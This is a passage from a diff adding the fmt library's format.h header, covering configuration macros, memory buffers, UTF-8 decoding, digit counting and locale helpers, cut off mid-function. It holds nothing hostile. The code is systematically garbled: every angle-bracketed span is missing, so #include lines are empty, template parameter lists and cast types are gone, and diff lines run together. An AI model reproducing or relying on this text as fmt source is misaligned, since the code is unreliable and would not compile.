LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + --- Optional exception to the license --- + + As an exception, if, as a result of your compiling your source code, portions + of this Software are embedded into a machine-executable object form of such + source code, you may redistribute such embedded portions in such object form + without including the above copyright and permission notices. + */ + +#ifndef FMT_FORMAT_H_ +#define FMT_FORMAT_H_ + +#include +#include +#include // std::byte +#include +#include +#include +#include +#include +#include // std::swap + +#include "core.h" + +#ifdef __INTEL_COMPILER +# define FMT_ICC_VERSION __INTEL_COMPILER +#elif defined(__ICL) +# define FMT_ICC_VERSION __ICL +#else +# define FMT_ICC_VERSION 0 +#endif + +#ifdef __NVCC__ +# define FMT_CUDA_VERSION (__CUDACC_VER_MAJOR__ * 100 + __CUDACC_VER_MINOR__) +#else +# define FMT_CUDA_VERSION 0 +#endif + +#ifdef __has_builtin +# define FMT_HAS_BUILTIN(x) __has_builtin(x) +#else +# define FMT_HAS_BUILTIN(x) 0 +#endif + +#if FMT_GCC_VERSION || FMT_CLANG_VERSION +# define FMT_NOINLINE __attribute__((noinline)) +#else +# define FMT_NOINLINE +#endif + +#if FMT_GCC_VERSION +# define FMT_GCC_VISIBILITY_HIDDEN __attribute__((visibility("hidden"))) +#else +# define FMT_GCC_VISIBILITY_HIDDEN +#endif + +#if __cplusplus == 201103L || __cplusplus == 201402L +# if defined(__INTEL_COMPILER) || defined(__PGI) +# define FMT_FALLTHROUGH +# elif defined(__clang__) +# define FMT_FALLTHROUGH [[clang::fallthrough]] +# elif FMT_GCC_VERSION >= 700 && \ + (!defined(__EDG_VERSION__) || __EDG_VERSION__ >= 520) +# define FMT_FALLTHROUGH [[gnu::fallthrough]] +# else +# define FMT_FALLTHROUGH +# endif +#elif FMT_HAS_CPP17_ATTRIBUTE(fallthrough) || \ + (defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) +# define FMT_FALLTHROUGH [[fallthrough]] +#else +# define FMT_FALLTHROUGH +#endif + +#ifndef FMT_MAYBE_UNUSED +# if FMT_HAS_CPP17_ATTRIBUTE(maybe_unused) +# define FMT_MAYBE_UNUSED [[maybe_unused]] +# else +# define FMT_MAYBE_UNUSED +# endif +#endif + +#ifndef FMT_THROW +# if FMT_EXCEPTIONS +# if FMT_MSC_VER || FMT_NVCC +FMT_BEGIN_NAMESPACE +namespace detail { +template inline void do_throw(const Exception& x) { + // Silence unreachable code warnings in MSVC and NVCC because these + // are nearly impossible to fix in a generic code. + volatile bool b = true; + if (b) throw x; +} +} // namespace detail +FMT_END_NAMESPACE +# define FMT_THROW(x) detail::do_throw(x) +# else +# define FMT_THROW(x) throw x +# endif +# else +# define FMT_THROW(x) \ + do { \ + FMT_ASSERT(false, (x).what()); \ + } while (false) +# endif +#endif + +#if FMT_EXCEPTIONS +# define FMT_TRY try +# define FMT_CATCH(x) catch (x) +#else +# define FMT_TRY if (true) +# define FMT_CATCH(x) if (false) +#endif + +#ifndef FMT_USE_USER_DEFINED_LITERALS +// EDG based compilers (Intel, NVIDIA, Elbrus, etc), GCC and MSVC support UDLs. +# if (FMT_HAS_FEATURE(cxx_user_literals) || FMT_GCC_VERSION >= 407 || \ + FMT_MSC_VER >= 1900) && \ + (!defined(__EDG_VERSION__) || __EDG_VERSION__ >= /* UDL feature */ 480) +# define FMT_USE_USER_DEFINED_LITERALS 1 +# else +# define FMT_USE_USER_DEFINED_LITERALS 0 +# endif +#endif + +#ifndef FMT_USE_FLOAT +# define FMT_USE_FLOAT 1 +#endif + +#ifndef FMT_USE_DOUBLE +# define FMT_USE_DOUBLE 1 +#endif + +#ifndef FMT_USE_LONG_DOUBLE +# define FMT_USE_LONG_DOUBLE 1 +#endif + +// Defining FMT_REDUCE_INT_INSTANTIATIONS to 1, will reduce the number of +// integer formatter template instantiations to just one by only using the +// largest integer type. This results in a reduction in binary size but will +// cause a decrease in integer formatting performance. +#if !defined(FMT_REDUCE_INT_INSTANTIATIONS) +# define FMT_REDUCE_INT_INSTANTIATIONS 0 +#endif + +// __builtin_clz is broken in clang with Microsoft CodeGen: +// https://github.com/fmtlib/fmt/issues/519 +#if (FMT_GCC_VERSION || FMT_HAS_BUILTIN(__builtin_clz)) && !FMT_MSC_VER +# define FMT_BUILTIN_CLZ(n) __builtin_clz(n) +#endif +#if (FMT_GCC_VERSION || FMT_HAS_BUILTIN(__builtin_clzll)) && !FMT_MSC_VER +# define FMT_BUILTIN_CLZLL(n) __builtin_clzll(n) +#endif +#if (FMT_GCC_VERSION || FMT_HAS_BUILTIN(__builtin_ctz)) +# define FMT_BUILTIN_CTZ(n) __builtin_ctz(n) +#endif +#if (FMT_GCC_VERSION || FMT_HAS_BUILTIN(__builtin_ctzll)) +# define FMT_BUILTIN_CTZLL(n) __builtin_ctzll(n) +#endif + +#if FMT_MSC_VER +# include // _BitScanReverse[64], _BitScanForward[64], _umul128 +#endif + +// Some compilers masquerade as both MSVC and GCC-likes or otherwise support +// __builtin_clz and __builtin_clzll, so only define FMT_BUILTIN_CLZ using the +// MSVC intrinsics if the clz and clzll builtins are not available. +#if FMT_MSC_VER && !defined(FMT_BUILTIN_CLZLL) && !defined(FMT_BUILTIN_CTZLL) +FMT_BEGIN_NAMESPACE +namespace detail { +// Avoid Clang with Microsoft CodeGen's -Wunknown-pragmas warning. +# if !defined(__clang__) +# pragma managed(push, off) +# pragma intrinsic(_BitScanForward) +# pragma intrinsic(_BitScanReverse) +# if defined(_WIN64) +# pragma intrinsic(_BitScanForward64) +# pragma intrinsic(_BitScanReverse64) +# endif +# endif + +inline int clz(uint32_t x) { + unsigned long r = 0; + _BitScanReverse(&r, x); + FMT_ASSERT(x != 0, ""); + // Static analysis complains about using uninitialized data + // "r", but the only way that can happen is if "x" is 0, + // which the callers guarantee to not happen. + FMT_MSC_WARNING(suppress : 6102) + return 31 ^ static_cast(r); +} +# define FMT_BUILTIN_CLZ(n) detail::clz(n) + +inline int clzll(uint64_t x) { + unsigned long r = 0; +# ifdef _WIN64 + _BitScanReverse64(&r, x); +# else + // Scan the high 32 bits. + if (_BitScanReverse(&r, static_cast(x >> 32))) return 63 ^ (r + 32); + // Scan the low 32 bits. + _BitScanReverse(&r, static_cast(x)); +# endif + FMT_ASSERT(x != 0, ""); + FMT_MSC_WARNING(suppress : 6102) // Suppress a bogus static analysis warning. + return 63 ^ static_cast(r); +} +# define FMT_BUILTIN_CLZLL(n) detail::clzll(n) + +inline int ctz(uint32_t x) { + unsigned long r = 0; + _BitScanForward(&r, x); + FMT_ASSERT(x != 0, ""); + FMT_MSC_WARNING(suppress : 6102) // Suppress a bogus static analysis warning. + return static_cast(r); +} +# define FMT_BUILTIN_CTZ(n) detail::ctz(n) + +inline int ctzll(uint64_t x) { + unsigned long r = 0; + FMT_ASSERT(x != 0, ""); + FMT_MSC_WARNING(suppress : 6102) // Suppress a bogus static analysis warning. +# ifdef _WIN64 + _BitScanForward64(&r, x); +# else + // Scan the low 32 bits. + if (_BitScanForward(&r, static_cast(x))) return static_cast(r); + // Scan the high 32 bits. + _BitScanForward(&r, static_cast(x >> 32)); + r += 32; +# endif + return static_cast(r); +} +# define FMT_BUILTIN_CTZLL(n) detail::ctzll(n) +# if !defined(__clang__) +# pragma managed(pop) +# endif +} // namespace detail +FMT_END_NAMESPACE +#endif + +// Enable the deprecated numeric alignment. +#ifndef FMT_DEPRECATED_NUMERIC_ALIGN +# define FMT_DEPRECATED_NUMERIC_ALIGN 0 +#endif + +FMT_BEGIN_NAMESPACE +namespace detail { + +#if __cplusplus >= 202002L || \ + (__cplusplus >= 201709L && FMT_GCC_VERSION >= 1002) +# define FMT_CONSTEXPR20 constexpr +#else +# define FMT_CONSTEXPR20 +#endif + +// An equivalent of `*reinterpret_cast(&source)` that doesn't have +// undefined behavior (e.g. due to type aliasing). +// Example: uint64_t d = bit_cast(2.718); +template +inline Dest bit_cast(const Source& source) { + static_assert(sizeof(Dest) == sizeof(Source), "size mismatch"); + Dest dest; + std::memcpy(&dest, &source, sizeof(dest)); + return dest; +} + +inline bool is_big_endian() { + const auto u = 1u; + struct bytes { + char data[sizeof(u)]; + }; + return bit_cast(u).data[0] == 0; +} + +// A fallback implementation of uintptr_t for systems that lack it. +struct fallback_uintptr { + unsigned char value[sizeof(void*)]; + + fallback_uintptr() = default; + explicit fallback_uintptr(const void* p) { + *this = bit_cast(p); + if (is_big_endian()) { + for (size_t i = 0, j = sizeof(void*) - 1; i < j; ++i, --j) + std::swap(value[i], value[j]); + } + } +}; +#ifdef UINTPTR_MAX +using uintptr_t = ::uintptr_t; +inline uintptr_t to_uintptr(const void* p) { return bit_cast(p); } +#else +using uintptr_t = fallback_uintptr; +inline fallback_uintptr to_uintptr(const void* p) { + return fallback_uintptr(p); +} +#endif + +// Returns the largest possible value for type T. Same as +// std::numeric_limits::max() but shorter and not affected by the max macro. +template constexpr T max_value() { + return (std::numeric_limits::max)(); +} +template constexpr int num_bits() { + return std::numeric_limits::digits; +} +// std::numeric_limits::digits may return 0 for 128-bit ints. +template <> constexpr int num_bits() { return 128; } +template <> constexpr int num_bits() { return 128; } +template <> constexpr int num_bits() { + return static_cast(sizeof(void*) * + std::numeric_limits::digits); +} + +FMT_INLINE void assume(bool condition) { + (void)condition; +#if FMT_HAS_BUILTIN(__builtin_assume) + __builtin_assume(condition); +#endif +} + +// An approximation of iterator_t for pre-C++20 systems. +template +using iterator_t = decltype(std::begin(std::declval())); +template using sentinel_t = decltype(std::end(std::declval())); + +// A workaround for std::string not having mutable data() until C++17. +template inline Char* get_data(std::basic_string& s) { + return &s[0]; +} +template +inline typename Container::value_type* get_data(Container& c) { + return c.data(); +} + +#if defined(_SECURE_SCL) && _SECURE_SCL +// Make a checked iterator to avoid MSVC warnings. +template using checked_ptr = stdext::checked_array_iterator; +template checked_ptr make_checked(T* p, size_t size) { + return {p, size}; +} +#else +template using checked_ptr = T*; +template inline T* make_checked(T* p, size_t) { return p; } +#endif + +template ::value)> +#if FMT_CLANG_VERSION >= 307 && !FMT_ICC_VERSION +__attribute__((no_sanitize("undefined"))) +#endif +inline checked_ptr +reserve(std::back_insert_iterator it, size_t n) { + Container& c = get_container(it); + size_t size = c.size(); + c.resize(size + n); + return make_checked(get_data(c) + size, n); +} + +template +inline buffer_appender reserve(buffer_appender it, size_t n) { + buffer& buf = get_container(it); + buf.try_reserve(buf.size() + n); + return it; +} + +template constexpr Iterator& reserve(Iterator& it, size_t) { + return it; +} + +template +using reserve_iterator = + remove_reference_t(), 0))>; + +template +constexpr T* to_pointer(OutputIt, size_t) { + return nullptr; +} +template T* to_pointer(buffer_appender it, size_t n) { + buffer& buf = get_container(it); + auto size = buf.size(); + if (buf.capacity() < size + n) return nullptr; + buf.try_resize(size + n); + return buf.data() + size; +} + +template ::value)> +inline std::back_insert_iterator base_iterator( + std::back_insert_iterator& it, + checked_ptr) { + return it; +} + +template +constexpr Iterator base_iterator(Iterator, Iterator it) { + return it; +} + +// An output iterator that counts the number of objects written to it and +// discards them. +class counting_iterator { + private: + size_t count_; + + public: + using iterator_category = std::output_iterator_tag; + using difference_type = std::ptrdiff_t; + using pointer = void; + using reference = void; + using _Unchecked_type = counting_iterator; // Mark iterator as checked. + + struct value_type { + template void operator=(const T&) {} + }; + + counting_iterator() : count_(0) {} + + size_t count() const { return count_; } + + counting_iterator& operator++() { + ++count_; + return *this; + } + counting_iterator operator++(int) { + auto it = *this; + ++*this; + return it; + } + + friend counting_iterator operator+(counting_iterator it, difference_type n) { + it.count_ += static_cast(n); + return it; + } + + value_type operator*() const { return {}; } +}; + +// is spectacularly slow to compile in C++20 so use a simple fill_n +// instead (#1998). +template +FMT_CONSTEXPR OutputIt fill_n(OutputIt out, Size count, const T& value) { + for (Size i = 0; i < count; ++i) *out++ = value; + return out; +} +template +FMT_CONSTEXPR20 T* fill_n(T* out, Size count, char value) { + if (is_constant_evaluated()) { + return fill_n(out, count, value); + } + std::memset(out, value, to_unsigned(count)); + return out + count; +} + +template +using needs_conversion = bool_constant< + std::is_same::value_type, + char>::value && + std::is_same::value>; + +template ::value)> +FMT_CONSTEXPR OutputIt copy_str(InputIt begin, InputIt end, OutputIt it) { + while (begin != end) *it++ = *begin++; + return it; +} + +template ::value)> +FMT_CONSTEXPR20 OutChar* copy_str(InputIt begin, InputIt end, OutChar* out) { + if (is_constant_evaluated()) { + return copy_str(begin, end, out); + } + return std::uninitialized_copy(begin, end, out); +} + +template ::value)> +OutputIt copy_str(InputIt begin, InputIt end, OutputIt it) { + while (begin != end) *it++ = static_cast(*begin++); + return it; +} + +template ::value)> +buffer_appender copy_str(InputIt begin, InputIt end, + buffer_appender out) { + get_container(out).append(begin, end); + return out; +} + +template +inline counting_iterator copy_str(InputIt begin, InputIt end, + counting_iterator it) { + return it + (end - begin); +} + +template +FMT_CONSTEXPR int code_point_length(const Char* begin) { + if (const_check(sizeof(Char) != 1)) return 1; + constexpr char lengths[] = {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 3, 3, 4, 0}; + int len = lengths[static_cast(*begin) >> 3]; + + // Compute the pointer to the next character early so that the next + // iteration can start working on the next character. Neither Clang + // nor GCC figure out this reordering on their own. + return len + !len; +} + +// A public domain branchless UTF-8 decoder by Christopher Wellons: +// https://github.com/skeeto/branchless-utf8 +/* Decode the next character, c, from s, reporting errors in e. + * + * Since this is a branchless decoder, four bytes will be read from the + * buffer regardless of the actual length of the next character. This + * means the buffer _must_ have at least three bytes of zero padding + * following the end of the data stream. + * + * Errors are reported in e, which will be non-zero if the parsed + * character was somehow invalid: invalid byte sequence, non-canonical + * encoding, or a surrogate half. + * + * The function returns a pointer to the next character. When an error + * occurs, this pointer will be a guess that depends on the particular + * error, but it will always advance at least one byte. + */ +FMT_CONSTEXPR inline const char* utf8_decode(const char* s, uint32_t* c, + int* e) { + constexpr const int masks[] = {0x00, 0x7f, 0x1f, 0x0f, 0x07}; + constexpr const uint32_t mins[] = {4194304, 0, 128, 2048, 65536}; + constexpr const int shiftc[] = {0, 18, 12, 6, 0}; + constexpr const int shifte[] = {0, 6, 4, 2, 0}; + + int len = code_point_length(s); + const char* next = s + len; + + // Assume a four-byte character and load four bytes. Unused bits are + // shifted out. + *c = uint32_t(s[0] & masks[len]) << 18; + *c |= uint32_t(s[1] & 0x3f) << 12; + *c |= uint32_t(s[2] & 0x3f) << 6; + *c |= uint32_t(s[3] & 0x3f) << 0; + *c >>= shiftc[len]; + + // Accumulate the various error conditions. + using uchar = unsigned char; + *e = (*c < mins[len]) << 6; // non-canonical encoding + *e |= ((*c >> 11) == 0x1b) << 7; // surrogate half? + *e |= (*c > 0x10FFFF) << 8; // out of range? + *e |= (uchar(s[1]) & 0xc0) >> 2; + *e |= (uchar(s[2]) & 0xc0) >> 4; + *e |= uchar(s[3]) >> 6; + *e ^= 0x2a; // top two bits of each tail byte correct? + *e >>= shifte[len]; + + return next; +} + +template +FMT_CONSTEXPR void for_each_codepoint(string_view s, F f) { + auto decode = [f](const char* p) { + auto cp = uint32_t(); + auto error = 0; + p = utf8_decode(p, &cp, &error); + f(cp, error); + return p; + }; + auto p = s.data(); + const size_t block_size = 4; // utf8_decode always reads blocks of 4 chars. + if (s.size() >= block_size) { + for (auto end = p + s.size() - block_size + 1; p < end;) p = decode(p); + } + if (auto num_chars_left = s.data() + s.size() - p) { + char buf[2 * block_size - 1] = {}; + copy_str(p, p + num_chars_left, buf); + p = buf; + do { + p = decode(p); + } while (p - buf < num_chars_left); + } +} + +template +inline size_t compute_width(basic_string_view s) { + return s.size(); +} + +// Computes approximate display width of a UTF-8 string. +FMT_CONSTEXPR inline size_t compute_width(string_view s) { + size_t num_code_points = 0; + // It is not a lambda for compatibility with C++14. + struct count_code_points { + size_t* count; + FMT_CONSTEXPR void operator()(uint32_t cp, int error) const { + *count += + 1 + + (error == 0 && cp >= 0x1100 && + (cp <= 0x115f || // Hangul Jamo init. consonants + cp == 0x2329 || // LEFT-POINTING ANGLE BRACKET〈 + cp == 0x232a || // RIGHT-POINTING ANGLE BRACKET 〉 + // CJK ... Yi except Unicode Character “〿”: + (cp >= 0x2e80 && cp <= 0xa4cf && cp != 0x303f) || + (cp >= 0xac00 && cp <= 0xd7a3) || // Hangul Syllables + (cp >= 0xf900 && cp <= 0xfaff) || // CJK Compatibility Ideographs + (cp >= 0xfe10 && cp <= 0xfe19) || // Vertical Forms + (cp >= 0xfe30 && cp <= 0xfe6f) || // CJK Compatibility Forms + (cp >= 0xff00 && cp <= 0xff60) || // Fullwidth Forms + (cp >= 0xffe0 && cp <= 0xffe6) || // Fullwidth Forms + (cp >= 0x20000 && cp <= 0x2fffd) || // CJK + (cp >= 0x30000 && cp <= 0x3fffd) || + // Miscellaneous Symbols and Pictographs + Emoticons: + (cp >= 0x1f300 && cp <= 0x1f64f) || + // Supplemental Symbols and Pictographs: + (cp >= 0x1f900 && cp <= 0x1f9ff))); + } + }; + for_each_codepoint(s, count_code_points{&num_code_points}); + return num_code_points; +} + +inline size_t compute_width(basic_string_view s) { + return compute_width(basic_string_view( + reinterpret_cast(s.data()), s.size())); +} + +template +inline size_t code_point_index(basic_string_view s, size_t n) { + size_t size = s.size(); + return n < size ? n : size; +} + +// Calculates the index of the nth code point in a UTF-8 string. +inline size_t code_point_index(basic_string_view s, size_t n) { + const char8_type* data = s.data(); + size_t num_code_points = 0; + for (size_t i = 0, size = s.size(); i != size; ++i) { + if ((data[i] & 0xc0) != 0x80 && ++num_code_points > n) return i; + } + return s.size(); +} + +template +using is_fast_float = bool_constant::is_iec559 && + sizeof(T) <= sizeof(double)>; + +#ifndef FMT_USE_FULL_CACHE_DRAGONBOX +# define FMT_USE_FULL_CACHE_DRAGONBOX 0 +#endif + +template +template +void buffer::append(const U* begin, const U* end) { + while (begin != end) { + auto count = to_unsigned(end - begin); + try_reserve(size_ + count); + auto free_cap = capacity_ - size_; + if (free_cap < count) count = free_cap; + std::uninitialized_copy_n(begin, count, make_checked(ptr_ + size_, count)); + size_ += count; + begin += count; + } +} + +template +void iterator_buffer::flush() { + auto size = this->size(); + this->clear(); + out_ = copy_str(data_, data_ + this->limit(size), out_); +} +} // namespace detail + +// The number of characters to store in the basic_memory_buffer object itself +// to avoid dynamic memory allocation. +enum { inline_buffer_size = 500 }; + +/** + \rst + A dynamically growing memory buffer for trivially copyable/constructible types + with the first ``SIZE`` elements stored in the object itself. + + You can use one of the following type aliases for common character types: + + +----------------+------------------------------+ + | Type | Definition | + +================+==============================+ + | memory_buffer | basic_memory_buffer | + +----------------+------------------------------+ + | wmemory_buffer | basic_memory_buffer | + +----------------+------------------------------+ + + **Example**:: + + fmt::memory_buffer out; + format_to(out, "The answer is {}.", 42); + + This will append the following output to the ``out`` object: + + .. code-block:: none + + The answer is 42. + + The output can be converted to an ``std::string`` with ``to_string(out)``. + \endrst + */ +template > +class basic_memory_buffer final : public detail::buffer { + private: + T store_[SIZE]; + + // Don't inherit from Allocator avoid generating type_info for it. + Allocator alloc_; + + // Deallocate memory allocated by the buffer. + void deallocate() { + T* data = this->data(); + if (data != store_) alloc_.deallocate(data, this->capacity()); + } + + protected: + void grow(size_t size) final FMT_OVERRIDE; + + public: + using value_type = T; + using const_reference = const T&; + + explicit basic_memory_buffer(const Allocator& alloc = Allocator()) + : alloc_(alloc) { + this->set(store_, SIZE); + } + ~basic_memory_buffer() { deallocate(); } + + private: + // Move data from other to this buffer. + void move(basic_memory_buffer& other) { + alloc_ = std::move(other.alloc_); + T* data = other.data(); + size_t size = other.size(), capacity = other.capacity(); + if (data == other.store_) { + this->set(store_, capacity); + std::uninitialized_copy(other.store_, other.store_ + size, + detail::make_checked(store_, capacity)); + } else { + this->set(data, capacity); + // Set pointer to the inline array so that delete is not called + // when deallocating. + other.set(other.store_, 0); + } + this->resize(size); + } + + public: + /** + \rst + Constructs a :class:`fmt::basic_memory_buffer` object moving the content + of the other object to it. + \endrst + */ + basic_memory_buffer(basic_memory_buffer&& other) FMT_NOEXCEPT { move(other); } + + /** + \rst + Moves the content of the other ``basic_memory_buffer`` object to this one. + \endrst + */ + basic_memory_buffer& operator=(basic_memory_buffer&& other) FMT_NOEXCEPT { + FMT_ASSERT(this != &other, ""); + deallocate(); + move(other); + return *this; + } + + // Returns a copy of the allocator associated with this buffer. + Allocator get_allocator() const { return alloc_; } + + /** + Resizes the buffer to contain *count* elements. If T is a POD type new + elements may not be initialized. + */ + void resize(size_t count) { this->try_resize(count); } + + /** Increases the buffer capacity to *new_capacity*. */ + void reserve(size_t new_capacity) { this->try_reserve(new_capacity); } + + // Directly append data into the buffer + using detail::buffer::append; + template + void append(const ContiguousRange& range) { + append(range.data(), range.data() + range.size()); + } +}; + +template +void basic_memory_buffer::grow(size_t size) { +#ifdef FMT_FUZZ + if (size > 5000) throw std::runtime_error("fuzz mode - won't grow that much"); +#endif + const size_t max_size = std::allocator_traits::max_size(alloc_); + size_t old_capacity = this->capacity(); + size_t new_capacity = old_capacity + old_capacity / 2; + if (size > new_capacity) + new_capacity = size; + else if (new_capacity > max_size) + new_capacity = size > max_size ? size : max_size; + T* old_data = this->data(); + T* new_data = + std::allocator_traits::allocate(alloc_, new_capacity); + // The following code doesn't throw, so the raw pointer above doesn't leak. + std::uninitialized_copy(old_data, old_data + this->size(), + detail::make_checked(new_data, new_capacity)); + this->set(new_data, new_capacity); + // deallocate must not throw according to the standard, but even if it does, + // the buffer already uses the new storage and will deallocate it in + // destructor. + if (old_data != store_) alloc_.deallocate(old_data, old_capacity); +} + +using memory_buffer = basic_memory_buffer; +using wmemory_buffer = basic_memory_buffer; + +template +struct is_contiguous> : std::true_type { +}; + +/** A formatting error such as invalid format string. */ +FMT_CLASS_API +class FMT_API format_error : public std::runtime_error { + public: + explicit format_error(const char* message) : std::runtime_error(message) {} + explicit format_error(const std::string& message) + : std::runtime_error(message) {} + format_error(const format_error&) = default; + format_error& operator=(const format_error&) = default; + format_error(format_error&&) = default; + format_error& operator=(format_error&&) = default; + ~format_error() FMT_NOEXCEPT FMT_OVERRIDE; +}; + +namespace detail { + +template +using is_signed = + std::integral_constant::is_signed || + std::is_same::value>; + +// Returns true if value is negative, false otherwise. +// Same as `value < 0` but doesn't produce warnings if T is an unsigned type. +template ::value)> +FMT_CONSTEXPR bool is_negative(T value) { + return value < 0; +} +template ::value)> +FMT_CONSTEXPR bool is_negative(T) { + return false; +} + +template ::value)> +FMT_CONSTEXPR bool is_supported_floating_point(T) { + return (std::is_same::value && FMT_USE_FLOAT) || + (std::is_same::value && FMT_USE_DOUBLE) || + (std::is_same::value && FMT_USE_LONG_DOUBLE); +} + +// Smallest of uint32_t, uint64_t, uint128_t that is large enough to +// represent all values of an integral type T. +template +using uint32_or_64_or_128_t = + conditional_t() <= 32 && !FMT_REDUCE_INT_INSTANTIATIONS, + uint32_t, + conditional_t() <= 64, uint64_t, uint128_t>>; +template +using uint64_or_128_t = conditional_t() <= 64, uint64_t, uint128_t>; + +// 128-bit integer type used internally +struct FMT_EXTERN_TEMPLATE_API uint128_wrapper { + uint128_wrapper() = default; + +#if FMT_USE_INT128 + uint128_t internal_; + + constexpr uint128_wrapper(uint64_t high, uint64_t low) FMT_NOEXCEPT + : internal_{static_cast(low) | + (static_cast(high) << 64)} {} + + constexpr uint128_wrapper(uint128_t u) : internal_{u} {} + + constexpr uint64_t high() const FMT_NOEXCEPT { + return uint64_t(internal_ >> 64); + } + constexpr uint64_t low() const FMT_NOEXCEPT { return uint64_t(internal_); } + + uint128_wrapper& operator+=(uint64_t n) FMT_NOEXCEPT { + internal_ += n; + return *this; + } +#else + uint64_t high_; + uint64_t low_; + + constexpr uint128_wrapper(uint64_t high, uint64_t low) FMT_NOEXCEPT + : high_{high}, + low_{low} {} + + constexpr uint64_t high() const FMT_NOEXCEPT { return high_; } + constexpr uint64_t low() const FMT_NOEXCEPT { return low_; } + + uint128_wrapper& operator+=(uint64_t n) FMT_NOEXCEPT { +# if defined(_MSC_VER) && defined(_M_X64) + unsigned char carry = _addcarry_u64(0, low_, n, &low_); + _addcarry_u64(carry, high_, 0, &high_); + return *this; +# else + uint64_t sum = low_ + n; + high_ += (sum < low_ ? 1 : 0); + low_ = sum; + return *this; +# endif + } +#endif +}; + +// Table entry type for divisibility test used internally +template struct FMT_EXTERN_TEMPLATE_API divtest_table_entry { + T mod_inv; + T max_quotient; +}; + +// Static data is placed in this class template for the header-only config. +template struct FMT_EXTERN_TEMPLATE_API basic_data { + static const uint64_t powers_of_10_64[]; + static const uint32_t zero_or_powers_of_10_32_new[]; + static const uint64_t zero_or_powers_of_10_64_new[]; + static const uint64_t grisu_pow10_significands[]; + static const int16_t grisu_pow10_exponents[]; + static const divtest_table_entry divtest_table_for_pow5_32[]; + static const divtest_table_entry divtest_table_for_pow5_64[]; + static const uint64_t dragonbox_pow10_significands_64[]; + static const uint128_wrapper dragonbox_pow10_significands_128[]; + // log10(2) = 0x0.4d104d427de7fbcc... + static const uint64_t log10_2_significand = 0x4d104d427de7fbcc; +#if !FMT_USE_FULL_CACHE_DRAGONBOX + static const uint64_t powers_of_5_64[]; + static const uint32_t dragonbox_pow10_recovery_errors[]; +#endif + // GCC generates slightly better code for pairs than chars. + using digit_pair = char[2]; + static const digit_pair digits[]; + static constexpr const char hex_digits[] = "0123456789abcdef"; + static const char foreground_color[]; + static const char background_color[]; + static const char reset_color[5]; + static const wchar_t wreset_color[5]; + static const char signs[]; + static constexpr const unsigned prefixes[4] = {0, 0, 0x1000000u | '+', + 0x1000000u | ' '}; + static constexpr const char left_padding_shifts[] = {31, 31, 0, 1, 0}; + static constexpr const char right_padding_shifts[] = {0, 31, 0, 1, 0}; + + // DEPRECATED! These are for ABI compatibility. + static const uint32_t zero_or_powers_of_10_32[]; + static const uint64_t zero_or_powers_of_10_64[]; +}; + +// Maps bsr(n) to ceil(log10(pow(2, bsr(n) + 1) - 1)). +// This is a function instead of an array to workaround a bug in GCC10 (#1810). +FMT_INLINE uint16_t bsr2log10(int bsr) { + static constexpr uint16_t data[] = { + 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, + 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10, + 10, 11, 11, 11, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 15, 15, + 15, 16, 16, 16, 16, 17, 17, 17, 18, 18, 18, 19, 19, 19, 19, 20}; + return data[bsr]; +} + +#ifndef FMT_EXPORTED +FMT_EXTERN template struct basic_data; +#endif + +// This is a struct rather than an alias to avoid shadowing warnings in gcc. +struct data : basic_data<> {}; + +template FMT_CONSTEXPR int count_digits_fallback(T n) { + int count = 1; + for (;;) { + // Integer division is slow so do it for a group of four digits instead + // of for every digit. The idea comes from the talk by Alexandrescu + // "Three Optimization Tips for C++". See speed-test for a comparison. + if (n < 10) return count; + if (n < 100) return count + 1; + if (n < 1000) return count + 2; + if (n < 10000) return count + 3; + n /= 10000u; + count += 4; + } +} +#if FMT_USE_INT128 +FMT_CONSTEXPR inline int count_digits(uint128_t n) { + return count_digits_fallback(n); +} +#endif + +// Returns the number of decimal digits in n. Leading zeros are not counted +// except for n == 0 in which case count_digits returns 1. +FMT_CONSTEXPR20 inline int count_digits(uint64_t n) { + if (is_constant_evaluated()) { + return count_digits_fallback(n); + } +#ifdef FMT_BUILTIN_CLZLL + // https://github.com/fmtlib/format-benchmark/blob/master/digits10 + auto t = bsr2log10(FMT_BUILTIN_CLZLL(n | 1) ^ 63); + return t - (n < data::zero_or_powers_of_10_64_new[t]); +#else + return count_digits_fallback(n); +#endif +} + +// Counts the number of digits in n. BITS = log2(radix). +template FMT_CONSTEXPR int count_digits(UInt n) { +#ifdef FMT_BUILTIN_CLZ + if (num_bits() == 32) + return (FMT_BUILTIN_CLZ(static_cast(n) | 1) ^ 31) / BITS + 1; +#endif + int num_digits = 0; + do { + ++num_digits; + } while ((n >>= BITS) != 0); + return num_digits; +} + +template <> int count_digits<4>(detail::fallback_uintptr n); + +#if FMT_GCC_VERSION || FMT_CLANG_VERSION +# define FMT_ALWAYS_INLINE inline __attribute__((always_inline)) +#elif FMT_MSC_VER +# define FMT_ALWAYS_INLINE __forceinline +#else +# define FMT_ALWAYS_INLINE inline +#endif + +#ifdef FMT_BUILTIN_CLZ +// Optional version of count_digits for better performance on 32-bit platforms. +FMT_CONSTEXPR20 inline int count_digits(uint32_t n) { + if (is_constant_evaluated()) { + return count_digits_fallback(n); + } + auto t = bsr2log10(FMT_BUILTIN_CLZ(n | 1) ^ 31); + return t - (n < data::zero_or_powers_of_10_32_new[t]); +} +#endif + +template constexpr int digits10() FMT_NOEXCEPT { + return std::numeric_limits::digits10; +} +template <> constexpr int digits10() FMT_NOEXCEPT { return 38; } +template <> constexpr int digits10() FMT_NOEXCEPT { return 38; } + +// DEPRECATED! grouping will be merged into thousands_sep. +template FMT_API std::string grouping_impl(locale_ref loc); +template inline std::string grouping(locale_ref loc) { + return grouping_impl(loc); +} +template <> inline std::string grouping(locale_ref loc) { + return grouping_impl(loc); +} + +template FMT_API Char thousands_sep_impl(locale_ref loc); +template inline Char thousands_sep(locale_ref loc) { + return Char(thousands_sep_impl(loc)); +} +template <> inline wchar_t thousands_sep(locale_ref loc) { + return thousands_sep_impl(loc); +} + +template FMT_API Char decimal_point_impl(locale_ref loc); +template inline Char decimal_point(locale_ref loc) { + return Char(decimal_point_impl(loc)); +} +template <> inline wchar_t decimal_point(locale_ref loc) { + return 